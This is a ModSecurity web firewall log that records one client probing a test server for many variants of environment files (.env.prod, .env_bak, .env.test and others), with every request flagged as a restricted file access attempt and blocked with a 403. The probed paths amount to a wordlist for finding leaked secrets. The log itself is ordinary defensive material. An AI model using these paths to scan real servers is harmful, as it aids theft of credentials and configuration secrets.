[Mon Jul 28 20:45:55.219877 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-gAAAAk&quot;]
[Mon Jul 28 20:45:55.220163 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-gAAAAk&quot;]
[Mon Jul 28 20:45:55.242131 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-wAAAAk&quot;]
[Mon Jul 28 20:45:55.242429 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-wAAAAk&quot;]
[Mon Jul 28 20:45:55.242689 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-wAAAAk&quot;]
[Mon Jul 28 20:45:55.264620 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_AAAAAk&quot;]
[Mon Jul 28 20:45:55.264839 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_AAAAAk&quot;]
[Mon Jul 28 20:45:55.265015 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_AAAAAk&quot;]
[Mon Jul 28 20:45:55.287038 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_QAAAAk&quot;]
[Mon Jul 28 20:45:55.287271 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_QAAAAk&quot;]
[Mon Jul 28 20:45:55.287435 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_QAAAAk&quot;]
[Mon Jul 28 20:45:55.310236 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_gAAAAk&quot;]
[Mon Jul 28 20:45:55.311425 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_gAAAAk&quot;]
[Mon Jul 28 20:45:55.311631 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_gAAAAk&quot;]
[Mon Jul 28 20:45:55.333693 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_wAAAAk&quot;]
[Mon Jul 28 20:45:55.333920 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_wAAAAk&quot;]
[Mon Jul 28 20:45:55.334110 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud_wAAAAk&quot;]
[Mon Jul 28 20:45:55.356132 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueAAAAAAk&quot;]
[Mon Jul 28 20:45:55.356350 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueAAAAAAk&quot;]
[Mon Jul 28 20:45:55.356515 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueAAAAAAk&quot;]
[Mon Jul 28 20:45:55.378696 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueAQAAAAk&quot;]
[Mon Jul 28 20:45:55.378922 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueAQAAAAk&quot;]
[Mon Jul 28 20:45:55.379094 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueAQAAAAk&quot;]
[Mon Jul 28 20:45:55.607544 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueCwAAAAk&quot;]
[Mon Jul 28 20:45:55.607750 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueCwAAAAk&quot;]
[Mon Jul 28 20:45:55.607908 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueCwAAAAk&quot;]
[Mon Jul 28 20:45:55.652515 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueDQAAAAk&quot;]
[Mon Jul 28 20:45:55.652706 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueDQAAAAk&quot;]
[Mon Jul 28 20:45:55.652859 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueDQAAAAk&quot;]
[Mon Jul 28 20:45:55.698309 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueDwAAAAk&quot;]
[Mon Jul 28 20:45:55.698552 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueDwAAAAk&quot;]
[Mon Jul 28 20:45:55.698743 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueDwAAAAk&quot;]
[Mon Jul 28 20:45:55.744045 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEQAAAAk&quot;]
